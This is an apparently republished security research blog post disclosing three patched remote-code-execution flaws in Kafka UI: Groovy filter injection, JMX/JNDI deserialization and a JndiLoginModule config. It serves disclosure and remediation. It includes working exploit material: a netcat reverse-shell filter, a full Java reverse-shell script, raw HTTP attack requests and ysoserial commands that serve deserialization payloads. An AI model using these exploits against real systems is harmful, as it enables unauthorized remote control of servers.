Close Menu
    DevStackTipsDevStackTips
    • Home
    • News & Updates
      1. Tech & Work
      2. View All

      Sunshine And March Vibes (2025 Wallpapers Edition)

      May 16, 2025

      The Case For Minimal WordPress Setups: A Contrarian View On Theme Frameworks

      May 16, 2025

      How To Fix Largest Contentful Paint Issues With Subpart Analysis

      May 16, 2025

      How To Prevent WordPress SQL Injection Attacks

      May 16, 2025

      Microsoft has closed its “Experience Center” store in Sydney, Australia — as it ramps up a continued digital growth campaign

      May 16, 2025

      Bing Search APIs to be “decommissioned completely” as Microsoft urges developers to use its Azure agentic AI alternative

      May 16, 2025

      Microsoft might kill the Surface Laptop Studio as production is quietly halted

      May 16, 2025

      Minecraft licensing robbed us of this controversial NFL schedule release video

      May 16, 2025
    • Development
      1. Algorithms & Data Structures
      2. Artificial Intelligence
      3. Back-End Development
      4. Databases
      5. Front-End Development
      6. Libraries & Frameworks
      7. Machine Learning
      8. Security
      9. Software Engineering
      10. Tools & IDEs
      11. Web Design
      12. Web Development
      13. Web Security
      14. Programming Languages
        • PHP
        • JavaScript
      Featured

      The power of generators

      May 16, 2025
      Recent

      The power of generators

      May 16, 2025

      Simplify Factory Associations with Laravel’s UseFactory Attribute

      May 16, 2025

      This Week in Laravel: React Native, PhpStorm Junie, and more

      May 16, 2025
    • Operating Systems
      1. Windows
      2. Linux
      3. macOS
      Featured

      Microsoft has closed its “Experience Center” store in Sydney, Australia — as it ramps up a continued digital growth campaign

      May 16, 2025
      Recent

      Microsoft has closed its “Experience Center” store in Sydney, Australia — as it ramps up a continued digital growth campaign

      May 16, 2025

      Bing Search APIs to be “decommissioned completely” as Microsoft urges developers to use its Azure agentic AI alternative

      May 16, 2025

      Microsoft might kill the Surface Laptop Studio as production is quietly halted

      May 16, 2025
    • Learning Resources
      • Books
      • Cheatsheets
      • Tutorials & Guides
    Home»Development»3 ways to get Remote Code Execution in Kafka UI

    3 ways to get Remote Code Execution in Kafka UI

    July 22, 2024

    Kafka UI is a popular open source web application designed to manage and monitor Apache Kafka clusters. It is used mainly by developers and administrators to provide visual representation of the connected Kafka clusters. Some users may not be aware that in its default configuration, Kafka UI does not require authentication to read and write data. This results in many unprotected Kafka UI instances deployed in internal networks or even being exposed to the internet. It might not be seen as a major security issue, as the data exposed might be public or not sensitive at all, but it may open a door to the internal network.

    In my security research, I was curious, perhaps I can find a way not only to see the messages sent to Kafka, but also read files, discover credentials or even get a Remote Code Execution (RCE). In this blog post, I’ll share my journey of how I was able to find three different RCE vulnerabilities in Kafka UI.

    These vulnerabilities are fixed in version 0.7.2, so if you use Kafka UI, please make sure to upgrade!

    CVE-2023-52251: RCE via Groovy script execution

    After going through the web interface of Kafka UI, the message filtering functionality caught my attention. Kafka UI allows you to provide a simple query to filter messages on the server side. When I looked at the source code, I discovered that internally Kafka supports the GROOVY_SCRIPT filter type and evaluates it as a Groovy script, which makes it possible for an attacker to get arbitrary code execution.

    MessageFilters.java:

    public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {
    switch (type) {
    case STRING_CONTAINS:
    return containsStringFilter(query);
    case GROOVY_SCRIPT:
    return groovyScriptFilter(query);
    default:
    throw new IllegalStateException(“Unknown query type: ” + type);
    }
    }

    To test it, navigate through the UI to one of the clusters, then select one of the topics and click on the “Messages” tab. Then, create a new filter with the following content:

    new ProcessBuilder(“nc”,”host.docker.internal”,”1234″,”-e”,”sh”).start()

    This Groovy script will spawn a new process with a reverse shell to your address. When we do this through UI, the browser sends the following request to the server:

    GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT HTTP/1.1
    Host: 127.0.0.1:8091

    You can reissue and experiment with this request in the HTTP client like Burp Suite Repeater.

    The default Kafka Docker image has Netcat installed, but if it does not work, you can also use a more complicated reverse shell Groovy script such as this:

    String host=”localhost”;
    int port=1445;
    String cmd=”/bin/bash”;
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
    while(pi.available()>0) so.write(pi.read());
    while(pe.available()>0) so.write(pe.read());
    while(si.available()>0) po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
    try {p.exitValue();
    break;
    }
    catch (Exception e){}
    };
    p.destroy();
    s.close();

    Note that for this exploit to be successful, the connected Kafka cluster (“local” in the example) should have at least one topic enabled with some messages inside. If not, an attacker can leverage Kafka UI’s API to create them:

    POST /api/clusters/local/topics HTTP/1.1
    Host: 127.0.0.1:8091
    Content-Length: 92
    Content-Type: application/json

    {“name”:”topic”,”partitions”:1,”configs”:{“cleanup.policy”:”delete”,”retention.bytes”:”-1″}}

    POST /api/clusters/local/topics/topic/messages HTTP/1.1
    Host: 127.0.0.1:8091
    Content-Length: 85
    Content-Type: application/json

    {“partition”:0,”key”:”123″,”content”:”123″,”keySerde”:”String”,”valueSerde”:”String”}

    It’s important to note that even if Kafka is protected by authentication and has at least one topic with messages inside, the RCE can be triggered from a simple GET HTTP request. So, it can also be exploited with a CSRF-style attack by sending a phishing link and opening it from the admin’s browser.

    I reported this vulnerability to Kafka UI’s maintainers on November 28, 2023 and it was patched only on April 10, 2024 in the 0.7.2 release. Later, we discovered that the same vulnerability had been reported by another researcher, who had already published an exploit for it even before the fix was released, leaving a lot of Kafka UI instances unprotected.

    CVE-2024-32030: RCE via JMX connector

    Another attack surface exposed by Kafka UI is an ability to connect to any Kafka cluster. Normally, Kafka UI takes the cluster configuration from the local application.yml file, but if the setting dynamic.config.enabled is enabled, Kafka UI can also be reconfigured via API. This property is not enabled by default, but it’s suggested to be enabled in many tutorials for Kafka UI, including its own README.md.

    I experimented a little bit with studying the Kafka protocol, which is a proprietary binary protocol. My idea was to set up a malicious Kafka broker and connect Kafka UI to it, thereby triggering something interesting. While testing this feature, I noticed that Kafka UI also provides the ability to monitor the performance of Kafka brokers. To do this, Kafka UI’s backend connects to their JMX ports. This feature is particularly interesting from a security perspective, as JMX is a complex protocol that is based on RMI, so it’s inherently susceptible to deserialization attacks.

    Specifically, I discovered that I could make a Kafka UI backend connect to an arbitrary JMX server by adding a new Kafka cluster through the UI. To test it, navigate to the dashboard and click on “Configure New Cluster.”. Then, set the following parameters:

    When you click on “Submit” button, the browser sends the new configuration in the JSON format:

    PUT /api/config HTTP/1.1
    Host: localhost:8091
    Content-Length: 194
    Content-Type: application/json
    Connection: close

    {“config”:{“properties”:{“auth”:{“type”:”DISABLED”},”rbac”:{“roles”:[]},”webclient”:{},”kafka”:{“clusters”:[{“name”:”local”,”bootstrapServers”:”kafka:9092″,”properties”:{},”readOnly”:false},
    {“name”:”jmx-exploit1″,”bootstrapServers”:”host.docker.internal:9093″,”metrics”:{“type”:”JMX”,”port”:1718},”properties”:{},”readOnly”:false}]}}}}

    When Kafka UI processes this request, it first tries to connect to the Kafka cluster bootstrap server from the ‘bootstrapServers’ value. If the connection is successful, the bootstrap server returns a list of Kafka brokers (nodes). This is normally the value specified in the KAFKA_ADVERTISED_LISTENERS property of Kafka.

    Then, Kafka UI tries to connect to one of the brokers using the following JMX address:

    jmx:rmi:///jndi/rmi://:/jmxrmi

    This may trigger the “famous” JNDI attack, similar to what we saw in Log4j and many other Java products.

    To achieve RCE via JNDI vector, we cannot use the ‘classic’ attack method via ‘classFactoryLocation’ as it is patched in modern JDKs. Another method of exploiting Object Factories also does not work for Kafka UI, as it does not contain the required classes. Nevertheless, as of May 2024, we can still perform a deserialization attack even in the most recent JDKs. So, instead of setting up a legitimate JMX port, an attacker can create an RMI listener that returns a malicious serialized object for any RMI call.

    The only caveat for this attack was to find a suitable gadget chain. All the public gadget chains from the ysoserial tool did not work for me, as Kafka UI had recent versions of Commons Collections and similar libraries. While searching for a proper gadget chain, I stumbled upon an interesting HackerOne report that exploits a similar vulnerability in Kafka connect. The reporter used an unusual gadget chain based on the Scala library, which turned out to be exactly what I needed. I quickly ported that chain into my ysoserial fork to create a proof of the concept exploit. I’ll explain how to use the exploit below, but also feel free to check out the gadget chain generation code if you’re curious what happens inside. This gadget chain and exploit details are quite complex by their nature.

    Reproduction steps

    To demonstrate a malicious broker and JMX listeners, I created a special docker compose.yml file. Its services kafka-malicious-broker, ysoserial-stage1 and ysoserial-stage2 are designed by me specifically for the exploitation of this CVE. The only modification you need to make to this file is to change the advertised address on the malicious Kafka broker and JMX endpoints from ‘host.internal.docker’ to your own host, which is reachable from the target Kafka UI instance.

    So, to reproduce this, you would need to use Kafka UI to connect to the malicious broker bootstrap address host.internal.docker:9093 as I explained above and set the JMX port option to 1718. Then, Kafka will connect to the JMX port at host.internal.docker:1718 which should be forwarded to the ysoserial-stage1 docker container.

    This container responds with the Scala1 payload generated by the following command:

    java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 “org.apache.commons.collections.enableUnsafeSerialization:true”

    This payload will be deserialized on the Kafka UI side. It does not trigger RCE directly, but leads to setting the system property org.apache.commons.collections.enableUnsafeSerialization to true. You may notice some errors in Kafka UI logs, this is expected:

    Then, we need to resend the PUT /api/config request to Kafka UI but change the JMX port to 1719, which will be forwarded to the ysoserial-stage2 container. This container returns the following ysoserial payload:

    java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 “nc host.docker.internal 1234 -e sh”

    As long as org.apache.commons.collections.enableUnsafeSerialization has been enabled earlier by the Scala payload, it will lead to the execution of the nc host.docker.internal 1234 -e sh command in the Kafka UI Java process. This will finally spawn a reverse shell that connects to host.docker.container:1234 TCP port.

    If you’re curious how deserialization triggers System.setProperty and command execution, feel free to have a look at the source code for corresponding gadget chains: Scala1.java and CommonsCollections7.java

    Also, you may set a breakpoint at StreamRemoteCall.java#L271 to see how an object is deserialized.

    Patch

    Similar to the previous issue, it took almost six months for developers to implement a fix in version 0.7.2 of Kafka UI. They fixed it by only updating the Apache Commons Collections library to the newer version. While it prevents the second stage of the gadget chain I shared above, the deserialization of untrusted data still can occur.

    As the deserialization happens during an RMI call, the code that actually calls ObjectInputStream.readObject() is located in the JDK, not in the Kafka UI codebase. One of the other ways we suggest remediating the risk is to only allow deserialization of certain classes. JEP-290 provides the ability to use the jdk.serialFilter property to define a process wide allowlist for classes that are safe to deserialize.

    For example, we can use the following filter to prevent deserialization of many library classes:

    -Djdk.serialFilter=”java.lang.*;java.math.*;java.util.**;javax.management.**;java.rmi.**;javax.security.auth.Subject;!*”

    This filter still allows JMX to function properly, but it’s just a suggestion that needs to be tested thoroughly.

    CVE-2023-25194: RCE via JndiLoginModule

    After I managed to achieve RCE via the JMX exploit, I realized that the Kafka Connect vulnerability I saw in the HackerOne report can also be exploited in Kafka UI.

    Kafka UI has a special endpoint that allows testing a connection to Kafka cluster with custom properties. It can be invoked by sending the following request:

    PUT /api/config/validated HTTP/1.1
    Host: localhost:8091
    Content-Length: 409
    Content-Type: application/json

    {“properties”:{“kafka”:{“clusters”:[{“name”:”test”,”bootstrapServers”:”host.docker.internal:9093″,”properties”:{“security.protocol”:”SASL_PLAINTEXT”,”sasl.jaas.config”:”com.sun.security.auth.module.JndiLoginModule required user.provider.url=”rmi://host.docker.internal:1718/x” useFirstPass=”true” serviceName=”x” debug=”true” group.provider.url=”x”;”,”sasl.mechanism”:”x”},”readOnly”:false}]}}}

    Here, we can set some special cluster properties such as “security.protocol”:”SASL_PLAINTEXT” and “sasl.jaas.config”:”com.sun.security.auth.module.JndiLoginModule. The exploitation of this issue is similar to the JMX exploit (CVE-2024-32030); we can reuse the same gadget chain and docker containers. In this case, we don’t even need to spin up a malicious Kafka instance at host.docker.internal:9093, as the JNDI call happens before that.

    Again, Kafka UI is only vulnerable to this CVE when the dynamic.config.enabled property is set to true. Otherwise, we cannot change the cluster properties at all and therefore our attack does not work.

    Fortunately, Kafka UI’s 0.7.2 release also brings the updated dependency for Kafka Connect. This fixes the issue by entirely prohibiting the usage of the JndiLoginModule.

    Testing setup

    If you want to test all these exploits locally, here is the compose.yml script I created specifically for testing and debugging Kafka UI. Just by using this script and the docker compose up command, you can spawn docker containers for Kafka UI, Kafka broker, and Apache Zookeeper. When it starts, Kafka UI becomes available at http://localhost:8091/. This also spawns a malicious Kafka broker and a couple of ysoserial instances that I used to demonstrate the proof-of-concept exploit.

    Final thoughts

    Kafka UI is a modern application that uses powerful Java features for monitoring Kafka clusters, such as Groovy scripting, JMX, and SASL JAAS. When exposed to user’s input, these features should be carefully restricted to prevent potential misuse. These technologies are not unique to Kafka UI but provided by the Java Development Kit and used in many other projects. Over the last few years, JDK developers introduced a lot of hardening to JMX and JNDI exploitation, patching some of the attack vectors. Nevertheless, as we can see, they are still exploitable in some circumstances, even in the latest JDK builds.

    The post 3 ways to get Remote Code Execution in Kafka UI appeared first on The GitHub Blog.

    Source: Read More 

    Hostinger
    Facebook Twitter Reddit Email Copy Link
    Previous ArticleAlvaro Montoro: CSS One-Liners to Improve (Almost) Every Project
    Next Article 10 Ways to Keep Your Sanity When Working with Consultants (Free Download)

    Related Posts

    Security

    Nmap 7.96 Launches with Lightning-Fast DNS and 612 Scripts

    May 17, 2025
    Common Vulnerabilities and Exposures (CVEs)

    CVE-2025-40906 – MongoDB BSON Serialization BSON::XS Multiple Vulnerabilities

    May 17, 2025
    Leave A Reply Cancel Reply

    Hostinger

    Continue Reading

    How to Increase PC Speed

    Web Development

    When can transformers reason with abstract symbols?

    Development

    Unlock the Future of Cybersecurity: Exclusive, Next Era AI Insights and Cutting-Edge Training at SANS Network Security 2024

    Development

    Airgeddon — Easy Wireless Network Security Auditor

    Development

    Highlights

    No room for error: Don’t get stung by these common Booking.com scams

    July 4, 2024

    From sending phishing emails to posting fake listings, here’s how fraudsters hunt for victims while…

    Cursed tapes: Exploiting the EvilVideo vulnerability on Telegram for Android

    July 26, 2024

    Researchers from Bloomberg and UNC Chapel Hill Introduce M3DocRAG: A Novel Multi-Modal RAG Framework that Flexibly Accommodates Various Document Context

    November 10, 2024

    Microsoft’s GeckOpt Optimizes Large Language Models: Enhancing Computational Efficiency with Intent-Based Tool Selection in Machine Learning Systems

    April 27, 2024
    © DevStackTips 2025. All rights reserved.
    • Contact
    • Privacy Policy

    Type above and press Enter to search. Press Esc to cancel.